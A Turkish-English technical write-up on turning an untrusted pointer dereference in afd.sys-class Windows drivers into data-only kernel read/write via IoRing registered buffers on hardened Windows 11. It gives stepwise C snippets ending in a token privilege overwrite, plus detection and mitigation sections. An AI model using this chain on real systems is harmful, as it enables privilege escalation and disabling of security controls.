AFD.sys arbitrary pointer deref -> R/W (Win11, post-patch class)¶
Bir WinSock/AFD-class kernel driver içinde, kullanıcının verdiği bir pointer'ın doğrulanmadan dereference edilmesi bir write-what/read-where seed verir; tamamen sertleştirilmiş bir Windows 11'de (VBS/HVCI + kCFG) bu seed, shellcode execution yerine data-only arbitrary kernel read/write'a dönüştürülür.
Mechanism¶
Untrusted pointer dereference neden HVCI altında tam bir R/W seed sayılır
WinSock için Ancillary Function Driver (afd.sys), Winsock çağrılarını
kernel'e taşıyan aracıdır. Birçok afd.sys IOCTL handler'ı, user mode'dan
embedded pointer içeren bir structure alır (socket-descriptor metadata,
bir output buffer, bir context object) ve bunu önce user space'e işaret
ettiğini ya da başka türlü güvenilir olduğunu doğrulamadan dereference eder.
Microsoft bunu CWE-822, untrusted pointer dereference olarak takip eder;
güncel örnekler CVE-2025-49661 ve CVE-2025-60719 (AFD WinSock LPE,
desteklenen tüm Windows 11 build'leri). Aynı primitive sınıfı third-party
driver'larda da görülür, örneğin AMD atdcm64a.sys, ki HN Security burada
tam bir Windows 11 chain'i yayınladı.
Bug'ın kırdığı invariant: bir kernel routine'i, user-controlled bir
buffer'dan okuduğu her pointer'ı düşman olarak ele almalıdır (ya probe
etmeli, ya da onu yalnızca bir handle/offset olarak yorumlamalı, asla kernel
pointer olarak değil). Bu invariant başarısız olduğunda, kernel'in okuduğu ya
da yazdığı address'i attacker kontrol eder. Bu tek başına, attacker'ın
seçtiği p ile *p / *p = x demektir — bir write-what-where ya da
read-where seed.
Legacy bir makinede bu seed genellikle RIP control'e yükseltilir: bir function pointer'ı corrupt et, pivot yap, ROP. VBS/HVCI'lı Windows 11'de bu yol kapalı — HVCI, EPT içinde W^X'i zorlar, dolayısıyla hiçbir attacker page aynı anda hem writable hem executable olamaz ve kCFG kernel indirect call'larının hedeflerini doğrular. Bu yüzden post-patch sınıfı code execution'ı terk eder ve data-only kalır:
- Tek seed write'ı, stabil, tekrarlanabilir bir arbitrary R/W'a çevir;
bunu, field'ları kendisi kernel'in onurlandıracağı address+length çiftleri
olan bir kernel object'i corrupt ederek yap —
IoRingregistered buffer array (_IORING_OBJECT.RegBuffers, bir_IOP_MC_BUFFER_ENTRY{ Address; Length; ... }array'i). - Bir
RegBuffersentry'sininAddress'ini herhangi bir kernel VA'ya yönlendir, sonra bir named pipe'a karşıBuildIoRingReadFile/BuildIoRingWriteFilekullanarak o kernel address'ine byte taşı — temiz, HVCI-legal bir R/W. - R/W'ı data-only privilege escalation için kullan:
_TOKEN.Privilegesbit'lerini flip et, bir token pointer'ını swap et, bir EDR kernel callback'ini temizle ya da bir process'inPS_PROTECTION(PPL) değerini değiştir. Hiçbir code page asla executable yapılmaz, dolayısıyla HVCI hiç tetiklenmez.
Seed write'ın kendisi, nt!DbgkpTriageDumpRestoreState gibi call-less bir
gadget ile kCFG-safe hale getirilir; bu gadget yalnızca register'dan beslenen
veri kullanarak kontrollü bir 8-byte write yapar
([RCX+0x10] -> [RDX+0x2078]) — meşru bir function entry'sidir, dolayısıyla
kCFG tatmin edilir.
Walkthrough¶
Driver'a özgü trigger her CVE'de farklıdır; R/W'a dönüşüm ise yeniden
kullanılabilir, post-patch kısımdır. HN Security write-up'ı tam chain'i
atdcm64a.sys'e karşı gösterir; AFD-class CVE'ler (CVE-2025-49661 /
CVE-2025-60719) aynı untrusted-pointer-dereference seed'ini bir
Winsock/afd.sys IOCTL'ünden sağlar.
Adım 1 — vulnerable handler'a ulaş. Device'ı aç ve input structure'ı doğrulanmamış pointer'ı içeren IOCTL'ü gönder:
HANDLE h = CreateFileW(L"\\\\.\\Afd", GENERIC_READ|GENERIC_WRITE,
0, NULL, OPEN_EXISTING, FILE_FLAG_OVERLAPPED, NULL);
// Input buffer embeds an attacker-controlled kernel pointer in the
// socket-descriptor metadata field the handler dereferences unvalidated.
DeviceIoControl(h, IOCTL_AFD_VULN, &in, sizeof(in), &out, sizeof(out), &ret, NULL);
// -> kernel does *(attacker_ptr) or *(attacker_ptr) = controlled (the seed)
Adım 2 — IoRing object address'ini leak et. Bir IoRing oluştur ve onun kernel
object address'ini NtQuerySystemInformation üzerinden
(SystemHandleInformation-tarzı enumeration) çöz, tıpkı HN Security'nin
GetKAddrFromHandle()'ının yaptığı gibi:
HIORING ring;
IORING_CREATE_FLAGS flags = {0};
CreateIoRing(IORING_VERSION_3, flags, 1, 1, &ring);
// GetKAddrFromHandle() -> NtQuerySystemInformation -> kernel VA of _IORING_OBJECT
ULONG_PTR ioringKaddr = GetKAddrFromHandle(ring);
Adım 3 — seed write'ı (kCFG-safe gadget) kullanarak
_IORING_OBJECT.RegBuffers'ı overwrite et, böylece user-mode bir sahte
_IOP_MC_BUFFER_ENTRY array'ine işaret etsin:
// nt!DbgkpTriageDumpRestoreState: writes [RCX+0x10] to [RDX+0x2078]
// Aim it so RegBuffers (and RegBuffersCount) point at fake_buffers[] in user mem.
struct _IOP_MC_BUFFER_ENTRY fake_buffers[1]; // { Address; Length; ... }
Adım 4 — registered buffer üzerinden arbitrary read / write:
// KREAD(target): pull kernel bytes out through a pipe
fake_buffers[0].Address = (PVOID)target_kaddr;
fake_buffers[0].Length = len;
BuildIoRingWriteFile(ring, pipeWriteHandle, /*regbuf idx*/0, len, 0, 0, 0);
SubmitIoRing(ring, 1, 0, NULL);
ReadFile(pipeReadHandle, leak, len, &n, NULL); // leak == kernel bytes
// KWRITE(target): push attacker bytes from a pipe into kernel memory
WriteFile(pipeWriteHandle, payload, len, &n, NULL);
fake_buffers[0].Address = (PVOID)target_kaddr;
BuildIoRingReadFile(ring, pipeReadHandle, 0, len, 0, 0, 0);
SubmitIoRing(ring, 1, 0, NULL); // kernel target now == payload
Adım 5 — data-only privilege escalation. KREAD/KWRITE ile mevcut process'in
_EPROCESS'ini bul, Token'ı oku ve her privilege bit'ini enable et:
// _TOKEN.Privileges at token + 0x40 (Present/Enabled/EnabledByDefault bitmaps)
UINT64 priv = KREAD64(tokenAddr + 0x40);
KWRITE64(tokenAddr + 0x40 + 0x00, 0x0000001ff2ffffbc); // Present
KWRITE64(tokenAddr + 0x40 + 0x08, 0x0000001ff2ffffbc); // Enabled
Beklenen sonuç: çağıran process artık (örneğin) SeDebugPrivilege ve privilege
set'inin geri kalanını tutar; VBS/HVCI/kCFG'nin hepsi enabled olmasına rağmen —
hiçbir executable kernel page asla oluşturulmadı.
kCFG altında gadget seçiminin neden önemli olduğu
kCFG yalnızca bir indirect call'ın registered bir function entry'sine
indiğini doğrular; o function'ın argümanlarıyla ne yaptığını
sınırlandırmaz. nt!DbgkpTriageDumpRestoreState, tesadüfen
register-controlled bir 8-byte store yapan ([RCX+0x10] -> [RDX+0x2078])
meşru bir entry'dir. Onu corrupt edilmiş pointer üzerinden çağırmak geçerli
bir kCFG target'tır, yine de kontrollü bir kernel write verir — RegBuffers'ı
yeniden yönlendirmek için gereken tek write. Oradan sonraki tüm R/W,
hiç indirect call içermeyen IoRing data flow'udur.
Post-R/W aşaması (token privilege bitmap overwrite, token swap, PPL toggle, EDR callback removal), stabil bir arbitrary kernel read/write var olduğunda uygulanan generic bir data-only escalation'dır.
Detection¶
- Driver Blocklist / WDAC: vulnerable third-party driver'lar
(
atdcm64a.sysve benzeri BYOVD signer'lar) Microsoft'un önerdiği vulnerable-driver blocklist'i tarafından kapsanır; onu enable et. - ETW / EDR telemetry: sıra dışı bir
IoRingoluşturulmasının ardından gelenNtQuerySystemInformationhandle enumeration'ı ve non-system bir process'ten gelen named-pipe I/O'su güçlü bir data-only-exploit sinyalidir; çünkü meşru yazılım nadiren kendiIoRingkernel address'ini çözer. - AFD IOCTL anomalileri: beklenmedik
\Device\AfdIOCTL kodları ya da kernel-range pointer değerleri taşıyan input buffer'lar.
Mitigation¶
- AFD WinSock patch'lerini uygula (CVE-2025-49661, CVE-2025-60719 ve sonrası).
- VBS + HVCI ve kernel CFG / kCFG'yi enable et — bunlar bu data-only chain'i tek başlarına durdurmaz ama çok daha kolay olan code-execution varyantlarını ortadan kaldırır ve attacker'ı daha zor olan R/W yoluna zorlar.
IoRingregistered-buffer abuse'unu kısıtla: güncel Windows build'leri_IORING_OBJECThandling'ini sertleştirdi; güncel kal.- Microsoft'un vulnerable driver blocklist'i + Smart App Control, BYOVD seed için çıtayı yükseltir.
References¶
- HN Security — From arbitrary pointer dereference to arbitrary read/write in latest Windows 11
- HN Security — Exploiting AMD atdcm64a.sys arbitrary pointer dereference (Part 1)
- ZeroPath — Windows AFD.sys Privilege Escalation: CVE-2025-49661 Untrusted Pointer Dereference
- NVD — CVE-2025-49661 (AFD WinSock untrusted pointer dereference, CWE-822)